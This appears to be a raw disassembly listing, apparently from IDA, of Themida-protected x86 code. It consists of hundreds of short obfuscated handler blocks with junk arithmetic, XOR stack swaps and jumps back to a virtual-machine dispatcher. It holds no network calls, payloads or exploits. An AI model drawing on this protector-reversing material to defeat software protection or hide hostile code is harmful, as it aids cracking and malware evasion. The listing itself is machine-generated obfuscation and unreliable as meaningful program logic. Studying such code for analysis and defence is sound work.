--------------------------------------------------------------------------- loc_54F2E0: ; CODE XREF: Themida_:00548820j mov eax, [esp] jmp loc_54D01E ; --------------------------------------------------------------------------- mov ax, [esp] push 129Fh jmp loc_54B3D0 ; --------------------------------------------------------------------------- loc_54F2F6: ; CODE XREF: Themida_:00548D10j add [esp+4], edx pop edx mov edi, [esp] push 7C2Dh mov [esp], eax mov eax, esp add eax, 4 jmp loc_5461E3 ; --------------------------------------------------------------------------- loc_54F312: ; CODE XREF: Themida_:00548B7Fj push esi mov esi, 4 jmp loc_545476 ; --------------------------------------------------------------------------- loc_54F31D: ; CODE XREF: Themida_:00545806j add esp, 4 shr eax, 12h xor eax, ecx push eax jmp loc_54BEDE ; --------------------------------------------------------------------------- loc_54F32B: ; CODE XREF: Themida_:0054C10Dj mov bh, 0BDh sub bh, 1 jmp loc_54F1F9 ; --------------------------------------------------------------------------- loc_54F335: ; CODE XREF: Themida_:00549AD0j push esi push 2 pop esi add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] inc word ptr [esp] pushf jmp loc_548B93 ; --------------------------------------------------------------------------- push edi mov edi, esp add edi, 4 sub edi, 4 push 6CE0h mov [esp], edi jmp loc_54C33F ; --------------------------------------------------------------------------- loc_54F371: ; CODE XREF: Themida_:0054A9A2j sub esp, 4 mov [esp], esi mov eax, [esp] push 937h mov [esp], ebx push esp pop ebx sub esp, 4 jmp loc_54615D ; --------------------------------------------------------------------------- loc_54F392: ; CODE XREF: Themida_:0054C502j pop dword ptr [esp] pop esp jmp loc_54D679 ; --------------------------------------------------------------------------- loc_54F39B: ; CODE XREF: Themida_:0054701Cj push edx mov edx, 72D76003h add edx, 1 sub edx, 0FFFFFFFFh shr edx, 3 xor edx, 6E7FF6CAh sub esi, 44665AB1h add esi, edx jmp loc_544E12 ; --------------------------------------------------------------------------- loc_54F3C0: ; CODE XREF: Themida_:00546923j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_54B8A1 ; --------------------------------------------------------------------------- loc_54F3D1: ; CODE XREF: Themida_:0054C066j xor [esp], ebx xor ebx, [esp] mov esp, [esp] or [esp], ax pushf jmp loc_544833 ; --------------------------------------------------------------------------- loc_54F3E4: ; CODE XREF: Themida_:00544737j pop ecx sub edx, 76274E99h add edx, esi add edx, 76274E99h pop esi add edx, 2 jmp loc_54BF27 ; --------------------------------------------------------------------------- loc_54F3FC: ; CODE XREF: Themida_:00544B10j inc edx sub edx, 0CEDCF9C8h add ebp, edx jmp loc_5476F4 ; --------------------------------------------------------------------------- loc_54F40A: ; CODE XREF: Themida_:00544CFEj push 486Dh jmp loc_549777 ; --------------------------------------------------------------------------- loc_54F414: ; CODE XREF: Themida_:0054E4CCj add dword ptr [esp], 1 mov eax, [esp] add esp, 4 shr eax, 2 push ebp mov ebp, 3A065089h xor eax, ebp pop ebp push eax add dword ptr [esp], 3DCA171Fh jmp loc_548E1B ; --------------------------------------------------------------------------- loc_54F43D: ; CODE XREF: Themida_:0054515Bj xchg eax, [esp] pop esp jmp loc_544022 ; --------------------------------------------------------------------------- loc_54F446: ; CODE XREF: Themida_:00549984j push edi mov edi, 2DEB7F88h shr edi, 8 jmp loc_54689C ; --------------------------------------------------------------------------- loc_54F454: ; CODE XREF: Themida_:0054C49Aj add esi, edx pop edx mov edi, [esp] add esp, 4 push 0 mov ebx, [esp] push eax jmp loc_54B7F4 ; --------------------------------------------------------------------------- loc_54F46E: ; CODE XREF: Themida_:00546647j push ecx mov ecx, esp jmp loc_54A509 ; --------------------------------------------------------------------------- loc_54F476: ; CODE XREF: Themida_:0054C356j mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 jmp loc_54BD65 ; --------------------------------------------------------------------------- loc_54F48E: ; CODE XREF: Themida_:0054B35Aj pop edx jmp loc_5470F3 ; --------------------------------------------------------------------------- lodsd push ebp sub esp, 4 mov [esp], ecx mov ecx, 21AA43FFh or ecx, 45E64EBCh add ecx, 0D441609h jmp loc_5498A9 ; --------------------------------------------------------------------------- loc_54F4B2: ; CODE XREF: Themida_:00546FB2j xor esi, edx jmp loc_54DD5A ; --------------------------------------------------------------------------- loc_54F4B9: ; CODE XREF: Themida_:00547E7Ej mov ebp, 1 add ebx, ebp pop ebp add ebx, 4D1BB2B7h mov edx, ebx mov ebx, [esp] push edx jmp loc_5461C8 ; --------------------------------------------------------------------------- loc_54F4D2: ; CODE XREF: Themida_:005487D8j mov edi, [esp] add esp, 4 add esi, eax pop eax add esi, 3AE644Fh sub esp, 4 mov [esp], eax mov eax, 96C47D9h push ebp push edx push 3A924E6Ch pop edx dec edx shl edx, 7 add edx, 0BEBE315Fh mov ebp, edx pop edx jmp loc_54F8A7 ; --------------------------------------------------------------------------- loc_54F506: ; CODE XREF: Themida_:0054F592j mov ch, 0D5h add ch, 1 add ch, 1 dec ch sub ch, 0B3h sub dh, ch pop ecx xor dh, 19h add bl, dh jmp loc_54AED5 ; --------------------------------------------------------------------------- loc_54F520: ; CODE XREF: Themida_:0054D186j mov dx, [esp] push eax push esp mov eax, [esp] add esp, 4 push ecx push 4 pop ecx add eax, ecx pop ecx push edi push edx jmp loc_54E951 ; --------------------------------------------------------------------------- loc_54F53D: ; CODE XREF: Themida_:0054A311j push ebx mov ebx, esp sub esp, 4 mov [esp], ecx push 7D18h mov [esp], eax push 276F5D62h pop eax push edi mov edi, 644446BFh add eax, edi jmp loc_54DE66 ; --------------------------------------------------------------------------- loc_54F561: ; CODE XREF: Themida_:0054A141j mov [esp], eax jmp loc_54C40F ; --------------------------------------------------------------------------- loc_54F569: ; CODE XREF: Themida_:00549E2Aj xor edx, 60BB729Dh and edi, edx jmp loc_54FF99 ; --------------------------------------------------------------------------- loc_54F576: ; CODE XREF: Themida_:0054E042j add ecx, edx sub ecx, 32F473F6h jmp loc_548D43 ; --------------------------------------------------------------------------- loc_54F583: ; CODE XREF: Themida_:0054CFDCj and ebp, edx pop edx jmp loc_54D382 ; --------------------------------------------------------------------------- loc_54F58B: ; CODE XREF: Themida_:005486AAj push esi jmp loc_54655E ; --------------------------------------------------------------------------- loc_54F591: ; CODE XREF: Themida_:00544A6Ej push ecx jmp loc_54F506 ; --------------------------------------------------------------------------- lodsd jmp loc_54C7A9 ; --------------------------------------------------------------------------- loc_54F59D: ; CODE XREF: Themida_:0054D92Fj push eax mov eax, esp push esi push ecx mov ecx, 1E5B0F8Fh jmp loc_54505A ; --------------------------------------------------------------------------- loc_54F5AC: ; CODE XREF: Themida_:00548587j sub eax, 7E9D791Ah add eax, esi add eax, 7E9D791Ah jmp loc_54CDCD ; --------------------------------------------------------------------------- loc_54F5BD: ; CODE XREF: Themida_:0054DC88j xor edx, 977EDA03h xor eax, edx mov edx, [esp] jmp loc_54CE49 ; --------------------------------------------------------------------------- loc_54F5CD: ; CODE XREF: Themida_:00546ED7j push esp pop edi jmp loc_54D1B2 ; --------------------------------------------------------------------------- loc_54F5D4: ; CODE XREF: Themida_:00548656j push 11A07537h mov esi, [esp] add esp, 4 jmp loc_5457A5 ; --------------------------------------------------------------------------- loc_54F5E4: ; CODE XREF: Themida_:00544988j pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx mov dl, al jmp loc_5478CB ; --------------------------------------------------------------------------- loc_54F605: ; CODE XREF: Themida_:0054A73Cj shl ch, 4 shl ch, 6 not ch add ch, 54h push ax mov ah, 0CCh add ch, ah pop ax jmp loc_54D779 ; --------------------------------------------------------------------------- loc_54F61D: ; CODE XREF: Themida_:0054FFA5j push dword ptr [esp] pop ebx add esp, 4 sub edx, eax add edx, 1D157B2Dh jmp loc_544022 ; --------------------------------------------------------------------------- loc_54F631: ; CODE XREF: Themida_:005474E2j pop dword ptr [esp] pop esp add ebx, ebp pop ebp sub ebx, 3483EEFh jmp loc_544AC5 ; --------------------------------------------------------------------------- loc_54F643: ; CODE XREF: Themida_:0054AB26j sub esi, 11D24C00h pop ebp jmp loc_54FC0D ; --------------------------------------------------------------------------- loc_54F64F: ; CODE XREF: Themida_:005461C3j push esp pop dword ptr [esp] jmp loc_5440C6 ; --------------------------------------------------------------------------- loc_54F658: ; CODE XREF: Themida_:0054F997j shr ecx, 0Ah push ecx sub esp, 4 jmp loc_54F9C9 ; --------------------------------------------------------------------------- loc_54F664: ; CODE XREF: Themida_:00548DE6j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or edx, eax shl edx, 1 sub esp, 4 mov [esp], ebp push ebx push edi jmp loc_5467F1 ; --------------------------------------------------------------------------- loc_54F685: ; CODE XREF: Themida_:00549FECj add ebx, 4 jmp loc_545B49 ; --------------------------------------------------------------------------- loc_54F690: ; CODE XREF: Themida_:00544796j pop esp mov [esp], edi mov edi, esp push ebx mov ebx, 3CE57149h push edi mov edi, 6BCE165Ch jmp loc_5497F4 ; --------------------------------------------------------------------------- loc_54F6A7: ; CODE XREF: Themida_:00547873j mov ecx, 4 add edi, ecx mov ecx, [esp] add esp, 4 add edi, 4 xchg edi, [esp] pop esp push ebp mov ebp, 0D093600h jmp loc_544391 ; --------------------------------------------------------------------------- loc_54F6CC: ; CODE XREF: Themida_:0054C7BDj push edi mov edi, 2EA44FEBh inc edi dec edi add edi, 31B1506Dh add edi, 0F5BF786Eh add ebx, edi pop edi add ebx, 66FC7FD2h push 5192h jmp loc_54E64D ; --------------------------------------------------------------------------- loc_54F6F3: ; CODE XREF: Themida_:005482D9j pop esp push 22C4h mov [esp], esi push esp pop esi jmp loc_54424C ; --------------------------------------------------------------------------- loc_54F703: ; CODE XREF: Themida_:0054CC16j push 7921h mov [esp], ecx jmp loc_548163 ; --------------------------------------------------------------------------- loc_54F710: ; CODE XREF: Themida_:005487C5j xchg eax, [esp] pop esp or dl, 0FDh jmp loc_54AC37 ; --------------------------------------------------------------------------- loc_54F71C: ; CODE XREF: Themida_:005457C6j add esp, 4 push edi mov edi, esi mov ebx, edi jmp loc_545398 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_54F729: ; CODE XREF: sub_545BCC+5536j push 1FB2h mov [esp+2+var_4+2], ebx mov bl, 40h sub al, bl jmp loc_5444DA ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- loc_54F73A: ; CODE XREF: Themida_:00545566j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54F73F: ; CODE XREF: Themida_:0054E8CCj pop edx mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 push esi jmp loc_54ABF6 ; --------------------------------------------------------------------------- loc_54F755: ; CODE XREF: Themida_:0054877Bj sub al, 43h jmp loc_546501 ; --------------------------------------------------------------------------- loc_54F75C: ; CODE XREF: Themida_:005475E6j push ebp mov ebp, esp add ebp, 4 jmp loc_547021 ; --------------------------------------------------------------------------- loc_54F76A: ; CODE XREF: Themida_:00544183j push ebx mov ebx, 3ADD0726h xor edi, ebx pop ebx jmp loc_549432 ; --------------------------------------------------------------------------- loc_54F778: ; CODE XREF: Themida_:00547625j mov dl, 2 and dl, 0A9h sub dl, 54h not dl or dl, 2Eh jmp loc_545083 ; --------------------------------------------------------------------------- loc_54F78A: ; CODE XREF: Themida_:00548D05j pop eax add esp, 4 add esp, 4 push ecx mov ecx, edx mov eax, ecx pop ecx jmp loc_549067 ; --------------------------------------------------------------------------- loc_54F79F: ; CODE XREF: Themida_:00549C38j pop edx push ebp push ecx push edx mov edx, 624A3627h not edx neg edx or edx, 30337D31h and edx, 705D79B7h sub edx, 7059792Dh mov ecx, edx pop edx push esi mov esi, ecx jmp loc_54EACA ; --------------------------------------------------------------------------- loc_54F7C9: ; CODE XREF: Themida_:0054AEA9j xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] shr ecx, 0 or eax, eax jz loc_547B5B push 3D0Dh mov [esp], ebx push 7D36h jmp loc_54B6BF ; --------------------------------------------------------------------------- loc_54F7F0: ; CODE XREF: Themida_:00544D5Cj mov eax, [esp] push ecx jmp loc_54D00B ; --------------------------------------------------------------------------- loc_54F7F9: ; CODE XREF: Themida_:0054CC7Bj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544022 ; --------------------------------------------------------------------------- loc_54F810: ; CODE XREF: Themida_:0054EAFAj add ecx, 4 sub ecx, 4 jmp loc_546F08 ; --------------------------------------------------------------------------- loc_54F81E: ; CODE XREF: Themida_:005443F9j pop eax add ecx, 2 jmp loc_54FC27 ; --------------------------------------------------------------------------- loc_54F827: ; CODE XREF: Themida_:00547B72j sub ebp, 6F3F6181h jmp loc_5497C4 ; --------------------------------------------------------------------------- loc_54F832: ; CODE XREF: Themida_:0054D405j mov edi, 4 sub ebx, 3B28615Dh add ebx, 135717F7h add ebx, edi sub ebx, 135717F7h push edi mov edi, 3B28615Dh add ebx, edi jmp loc_54DCEF ; --------------------------------------------------------------------------- loc_54F858: ; CODE XREF: Themida_:0054D594j push edx jmp loc_5461AE ; --------------------------------------------------------------------------- loc_54F85E: ; CODE XREF: Themida_:00548129j push ebx mov ebx, 2 add eax, ebx pop ebx xchg eax, [esp] pop esp jmp loc_544CCB ; --------------------------------------------------------------------------- loc_54F870: ; CODE XREF: Themida_:00548AC9j pop dword ptr [esp] mov esp, [esp] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54F87B: ; CODE XREF: Themida_:0054D5A5j mov edx, 4 add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] pop esp or edx, eax shl edx, 1 push esi jmp loc_54AF6F ; --------------------------------------------------------------------------- loc_54F894: ; CODE XREF: Themida_:005488B0j pop cx inc ch shl ch, 8 push bx push ecx mov ch, 0F3h mov bh, ch jmp loc_54442D ; --------------------------------------------------------------------------- loc_54F8A7: ; CODE XREF: Themida_:0054F501j sub eax, ebp pop ebp inc eax dec eax sub eax, 4EBF657Ah jmp loc_547545 ; --------------------------------------------------------------------------- loc_54F8B6: ; CODE XREF: Themida_:0054A013j mov ebp, 4 sub dword ptr [esp+4], 61777AB1h jmp loc_54C3FA ; --------------------------------------------------------------------------- loc_54F8C8: ; CODE XREF: Themida_:0054C0E9j mov dword ptr [edx+38h], 3CAE0AB3h neg dword ptr [edx+38h] jmp loc_54F060 ; --------------------------------------------------------------------------- loc_54F8D7: ; CODE XREF: Themida_:0054D1ADj sub ebp, ecx mov ecx, ebp pop ebp push esi jmp loc_54AEE6 ; --------------------------------------------------------------------------- loc_54F8E2: ; CODE XREF: Themida_:00546114j sub eax, 413B6CA7h jmp loc_54A543 ; --------------------------------------------------------------------------- loc_54F8EC: ; CODE XREF: Themida_:0054B72Fj push esi mov esi, 4 add ebp, esi pop esi push 1DF3h mov [esp], ebp jmp loc_54EEEC ; --------------------------------------------------------------------------- loc_54F902: ; CODE XREF: Themida_:00547D2Dj xor ebp, 53ECD23Ah add edx, ebp jmp loc_547C7B ; --------------------------------------------------------------------------- loc_54F90F: ; CODE XREF: Themida_:0054D4B8j dec eax jmp loc_54E115 ; --------------------------------------------------------------------------- loc_54F915: ; CODE XREF: Themida_:0054827Aj pop edi xor esi, ebx pop ebx sub eax, esi jmp loc_545C10 ; --------------------------------------------------------------------------- loc_54F920: ; CODE XREF: Themida_:0054903Ej pop ebp jmp loc_549695 ; --------------------------------------------------------------------------- loc_54F926: ; CODE XREF: Themida_:0054E0CAj mov ebp, 521862C9h push ecx jmp loc_5470CD ; --------------------------------------------------------------------------- loc_54F931: ; CODE XREF: Themida_:0054FE68j add esp, 4 jmp loc_54A1FA ; --------------------------------------------------------------------------- loc_54F939: ; CODE XREF: Themida_:005469C8j add esp, 4 jmp loc_545636 ; --------------------------------------------------------------------------- loc_54F941: ; CODE XREF: Themida_:0054C71Fj mov dl, 9Ch add dl, 0EBh jmp loc_545DE7 ; --------------------------------------------------------------------------- loc_54F94B: ; CODE XREF: Themida_:00545D79j and ecx, ebx mov ebx, [esp] add esp, 4 push esi mov esi, 45AB73E7h and esi, 29A77746h add esi, 10E064E7h shr esi, 2 inc esi add esi, 44ED5E44h and ecx, esi pop esi dec ecx push ebx mov ebx, 160E300Eh and ecx, ebx pop ebx push eax jmp loc_546201 ; --------------------------------------------------------------------------- loc_54F982: ; CODE XREF: Themida_:0054D7AEj shl edx, 8 xor edx, 79389D01h sub edi, edx pop edx add edi, 0C394F1F2h and ecx, edi pop edi jmp loc_54F658 ; --------------------------------------------------------------------------- loc_54F99C: ; CODE XREF: Themida_:0054A813j add esp, 4 add esp, 4 jmp loc_549568 ; --------------------------------------------------------------------------- loc_54F9A7: ; CODE XREF: Themida_:0054DE44j mov ecx, 17C14EBCh xor ecx, 1DEA7283h sub ebx, ecx pop ecx add ebp, ebx pop ebx push edi mov edi, 152913ECh xchg ecx, edi not ecx xchg ecx, edi jmp loc_54A356 ; --------------------------------------------------------------------------- loc_54F9C9: ; CODE XREF: Themida_:0054F65Fj mov [esp], ebx jmp loc_547592 ; --------------------------------------------------------------------------- loc_54F9D1: ; CODE XREF: Themida_:005480FBj xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 push ecx mov ecx, 4 add edx, ecx pop ecx jmp loc_546C5C ; --------------------------------------------------------------------------- loc_54F9F1: ; CODE XREF: Themida_:00546658j push edx push eax jmp loc_547F3A ; --------------------------------------------------------------------------- push 6908h mov [esp], eax push edi jmp loc_547821 ; --------------------------------------------------------------------------- loc_54FA06: ; CODE XREF: Themida_:0054FA85j mov edi, 125F22B1h add esi, edi pop edi jmp loc_54958B ; --------------------------------------------------------------------------- loc_54FA13: ; CODE XREF: Themida_:0054E55Dj mov edi, [esp] add esp, 4 push eax push ecx pop eax jmp loc_545881 ; --------------------------------------------------------------------------- loc_54FA24: ; CODE XREF: Themida_:0054ECB8j mov ebx, [esp] add esp, 4 jmp loc_54B422 ; --------------------------------------------------------------------------- loc_54FA32: ; CODE XREF: Themida_:00547956j shl edx, 6 push ebx jmp loc_54E31E ; --------------------------------------------------------------------------- loc_54FA3B: ; CODE XREF: Themida_:00549356j pop ecx pop esi add esi, 4 push ebp mov ebp, 4 jmp loc_54628E ; --------------------------------------------------------------------------- loc_54FA4E: ; CODE XREF: Themida_:0054E452j push eax mov eax, 265913F8h push edx mov edx, 326D14D5h jmp loc_5440EB ; --------------------------------------------------------------------------- loc_54FA5F: ; CODE XREF: Themida_:0054A221j xchg esi, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push edi push ebp mov ebp, 76F00ABAh mov edi, ebp pop ebp jmp loc_54C7C2 ; --------------------------------------------------------------------------- loc_54FA77: ; CODE XREF: Themida_:00547ABCj mov [esp], ebp mov ebp, 36926E3Fh jmp loc_547A2C ; --------------------------------------------------------------------------- loc_54FA84: ; CODE XREF: Themida_:00546A7Bj push edi jmp loc_54FA06 ; --------------------------------------------------------------------------- loc_54FA8A: ; CODE XREF: Themida_:00546E89j xor [esp], ecx xor ecx, [esp] pop esp mov [esp], edx mov edx, 43EB4A05h push edx not dword ptr [esp] pop edx jmp loc_5496D7 ; --------------------------------------------------------------------------- loc_54FAA3: ; CODE XREF: Themida_:00547A80j pop edx sub esp, 4 jmp loc_54716F ; --------------------------------------------------------------------------- loc_54FAAF: ; CODE XREF: Themida_:0054F044j push ebp mov bp, 2AA4h shl bp, 2 dec bp inc bp sub bp, 6869h jmp loc_546539 ; --------------------------------------------------------------------------- loc_54FAC6: ; CODE XREF: Themida_:0054ECEFj add ebp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push ebx mov bh, dl push ecx push eax mov ah, bh push edx mov dh, ah mov ch, dh mov edx, [esp] add esp, 4 mov eax, [esp] add esp, 4 mov [edi+eax*4+1], ch pop ecx mov ebx, [esp] push esi jmp loc_54944A ; --------------------------------------------------------------------------- loc_54FB07: ; CODE XREF: Themida_:00549769j push edx jmp loc_5443D3 ; --------------------------------------------------------------------------- loc_54FB0D: ; CODE XREF: Themida_:00544689j mov edi, 15202CCh sub ecx, edi pop edi mov edx, ecx jmp loc_54C9EC ; --------------------------------------------------------------------------- loc_54FB1C: ; CODE XREF: Themida_:0054ED68j sub dword ptr [esp+8], 2A68748Fh add [esp+8], edi add dword ptr [esp+8], 2A68748Fh pop edi jmp loc_54E96A ; --------------------------------------------------------------------------- loc_54FB36: ; CODE XREF: Themida_:0054D196j sub ebp, 4 xor ebp, [esp] jmp loc_5496E3 ; --------------------------------------------------------------------------- loc_54FB44: ; CODE XREF: Themida_:00545A3Cj pop eax xchg ecx, [esp] pop esp mov [esp], eax push 66D7h mov [esp], esp jmp loc_54F03A ; --------------------------------------------------------------------------- loc_54FB59: ; CODE XREF: Themida_:005445EDj xchg esi, [esp] mov esp, [esp] push ecx jmp loc_548141 ; --------------------------------------------------------------------------- loc_54FB65: ; CODE XREF: Themida_:005488D9j push 36C1h mov [esp], eax mov eax, 33292459h add esi, eax pop eax pop ecx sub esi, 2 push esi jmp loc_5499C6 ; --------------------------------------------------------------------------- loc_54FB82: ; CODE XREF: Themida_:0054AF86j sub edx, 3B6F592Ah jmp loc_544DBC ; --------------------------------------------------------------------------- loc_54FB8D: ; CODE XREF: Themida_:00544EFAj pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] push eax mov eax, esp add eax, 4 jmp loc_54AEA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545BCC loc_54FBB2: ; CODE XREF: sub_545BCC+A43Dj movzx eax, al jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_545BCC ; --------------------------------------------------------------------------- jmp loc_54E3E0 ; --------------------------------------------------------------------------- loc_54FBBD: ; CODE XREF: Themida_:loc_54534Dj pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_544B72 ; --------------------------------------------------------------------------- loc_54FBCB: ; CODE XREF: Themida_:0054659Cj sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_54E712 ; --------------------------------------------------------------------------- loc_54FBE1: ; CODE XREF: Themida_:0054D801j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54FBE6: ; CODE XREF: Themida_:00545104j push 5A07h mov [esp], eax mov eax, 1316B3A2h xor edx, eax jmp loc_5454CE ; --------------------------------------------------------------------------- loc_54FBFA: ; CODE XREF: Themida_:0054B11Cj add edx, edi pop edi jmp loc_544022 ; --------------------------------------------------------------------------- loc_54FC02: ; CODE XREF: Themida_:0054CD58j add eax, edi mov edi, [esp] push ecx jmp loc_54E4A8 ; --------------------------------------------------------------------------- loc_54FC0D: ; CODE XREF: Themida_:0054F64Aj push ebx jmp loc_54C1FC ; --------------------------------------------------------------------------- loc_54FC13: ; CODE XREF: Themida_:0054B758j and ebp, 4D5F0C46h sub ebp, 62FC90h sub eax, ebp pop ebp jmp loc_548EB8 ; --------------------------------------------------------------------------- loc_54FC27: ; CODE XREF: Themida_:0054F822j xchg ecx, [esp] pop esp mov ax, [esp] push ebp push esp push dword ptr [esp] pop ebp jmp loc_5498E1 ; --------------------------------------------------------------------------- loc_54FC3A: ; CODE XREF: Themida_:00544487j mov [esp], eax mov eax, 44716349h sub edx, 56DB65EBh sub edx, eax add edx, 56DB65EBh mov eax, [esp] jmp loc_54C5CA ; --------------------------------------------------------------------------- loc_54FC58: ; CODE XREF: Themida_:0054842Fj sub esp, 4 jmp loc_54AB0A ; --------------------------------------------------------------------------- loc_54FC63: ; CODE XREF: Themida_:0054467Aj mov ecx, 4 jmp loc_544093 ; --------------------------------------------------------------------------- loc_54FC6D: ; CODE XREF: Themida_:005475C9j mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54FC79: ; CODE XREF: Themida_:0054E34Ej pop eax add esp, 4 jmp loc_548AAF ; --------------------------------------------------------------------------- loc_54FC82: ; CODE XREF: Themida_:00545B44j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54FC87: ; CODE XREF: Themida_:0054F294j add dl, 0CBh jmp loc_54B532 ; --------------------------------------------------------------------------- loc_54FC8F: ; CODE XREF: Themida_:005446F5j mov ecx, [esp] add esp, 4 sub dword ptr [esp+4], 253E194Fh pop ecx pop ebp push edx mov edx, 3EC54E6Ah add ebp, edx pop edx push 5E07h mov [esp], ebp pop dword ptr [edi+20h] pop ebp jmp loc_547A49 ; --------------------------------------------------------------------------- loc_54FCBC: ; CODE XREF: Themida_:00545B9Ej mov edi, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp xor ecx, 39745315h xor eax, ecx mov ecx, [esp] add esp, 4 add ebx, 3483EEFh push 2168h jmp loc_54EB0E ; --------------------------------------------------------------------------- loc_54FCFB: ; CODE XREF: Themida_:0054DD98j add edx, 4 jmp loc_54E3F6 ; --------------------------------------------------------------------------- loc_54FD06: ; CODE XREF: Themida_:00544C70j sub ebp, 0D06ADFh add edx, ebp pop ebp sub edx, 2 xchg edx, [esp] pop esp mov [esp], cx mov cx, 298Dh add bx, cx pop cx movzx eax, ax push small 1A32h mov [esp], ax jmp loc_544022 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push esi push esi jmp loc_545798 ; --------------------------------------------------------------------------- loc_54FD3E: ; CODE XREF: Themida_:0054EA35j and eax, ecx mov ecx, [esp] add esp, 4 or edx, eax jmp loc_5458C5 ; --------------------------------------------------------------------------- loc_54FD4D: ; CODE XREF: Themida_:0054C901j add eax, edi pop edi xchg eax, [esp] pop esp push ebx jmp loc_545AF3 ; --------------------------------------------------------------------------- loc_54FD5A: ; CODE XREF: Themida_:00545D57j add edi, ebp jmp loc_54A5C3 ; --------------------------------------------------------------------------- loc_54FD61: ; CODE XREF: Themida_:0054F104j mov [esp], ebx mov ebx, 1EE73C9Bh xor ebx, 1EE73C9Fh push ebx mov ebx, 3F3C267Fh add edi, ebx pop ebx sub edi, 653242CEh add edi, ebx add edi, 653242CEh jmp loc_5471A8 ; --------------------------------------------------------------------------- loc_54FD8B: ; CODE XREF: Themida_:0054DA68j dec ebp push ebp jmp loc_549BDF ; --------------------------------------------------------------------------- loc_54FD92: ; CODE XREF: Themida_:00544544j add ebx, 2 xchg ebx, [esp] pop esp jmp loc_54B6D0 ; --------------------------------------------------------------------------- loc_54FDA1: ; CODE XREF: Themida_:00545AC4j xor edx, 6E1674FCh dec edx add edx, 1 xor edx, 7C3C3F85h jmp loc_54E524 ; --------------------------------------------------------------------------- loc_54FDB6: ; CODE XREF: Themida_:0054B3F9j pop ebx mov edi, [esp] jmp loc_546566 ; --------------------------------------------------------------------------- loc_54FDBF: ; CODE XREF: Themida_:0054F11Ej push edx mov dl, 85h jmp loc_548434 ; --------------------------------------------------------------------------- loc_54FDC7: ; CODE XREF: Themida_:0054B85Cj add edi, 0FFFFFFFFh jmp loc_54ECF4 ; --------------------------------------------------------------------------- loc_54FDCF: ; CODE XREF: Themida_:0054A175j inc esi shl esi, 2 jmp loc_54691A ; --------------------------------------------------------------------------- loc_54FDD8: ; CODE XREF: Themida_:0054B94Bj sub bl, 0Eh pop ax movzx eax, al pop dword ptr [edi+eax*4] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54FDE8: ; CODE XREF: Themida_:005445F8j add ebp, edi sub ebp, 57CE1283h mov edi, [esp] add esp, 4 push 82Eh jmp loc_54CB72 ; --------------------------------------------------------------------------- loc_54FE03: ; CODE XREF: Themida_:0054BEBBj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push 0DDDh jmp loc_54B33C ; --------------------------------------------------------------------------- loc_54FE17: ; CODE XREF: Themida_:0054A38Bj push esi mov esi, 4984389Fh and esi, 6D0719A2h inc esi or esi, 6E613B9Fh and esi, 6BB36D50h sub esi, 3D48C9A7h jmp loc_54B844 ; --------------------------------------------------------------------------- loc_54FE3B: ; CODE XREF: Themida_:0054D8A4j sub eax, 42E85E6Dh neg eax shr eax, 1 jmp loc_547078 ; --------------------------------------------------------------------------- loc_54FE49: ; CODE XREF: Themida_:0054607Aj xchg eax, [esp] mov esp, [esp] xor [esp], al pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54FE58: ; CODE XREF: Themida_:0054B1DDj push edx jmp loc_5495A2 ; --------------------------------------------------------------------------- loc_54FE5E: ; CODE XREF: Themida_:0054B406j mov ebx, 4 add ebp, ebx mov ebx, [esp] jmp loc_54F931 ; --------------------------------------------------------------------------- loc_54FE6D: ; CODE XREF: Themida_:0054B13Fj sub esi, 5732257Dh jmp loc_54E3B0 ; --------------------------------------------------------------------------- loc_54FE78: ; CODE XREF: Themida_:00548F10j mov esp, [esp] jmp loc_544F2C ; --------------------------------------------------------------------------- loc_54FE80: ; CODE XREF: Themida_:0054617Dj mov esp, [esp] pop esi not esi jmp loc_546210 ; --------------------------------------------------------------------------- loc_54FE8B: ; CODE XREF: Themida_:0054EE01j neg edi add edi, 2C8BE6E1h sub ebp, 37370C63h add ebp, edi add ebp, 37370C63h mov edi, [esp] push eax jmp loc_54A244 ; --------------------------------------------------------------------------- loc_54FEAA: ; CODE XREF: Themida_:00548617j pop esi sub esp, 4 mov [esp], eax jmp loc_548ACE ; --------------------------------------------------------------------------- loc_54FEB6: ; CODE XREF: Themida_:0054AB7Dj sub edx, 7D7D7FF3h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 xor ebx, eax push small word ptr [eax] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54FED9: ; CODE XREF: Themida_:005472FEj push small 320Bh jmp loc_547FAF ; --------------------------------------------------------------------------- loc_54FEE2: ; CODE XREF: Themida_:00548F57j mov esi, 4 mov ecx, esi jmp loc_54925F ; --------------------------------------------------------------------------- 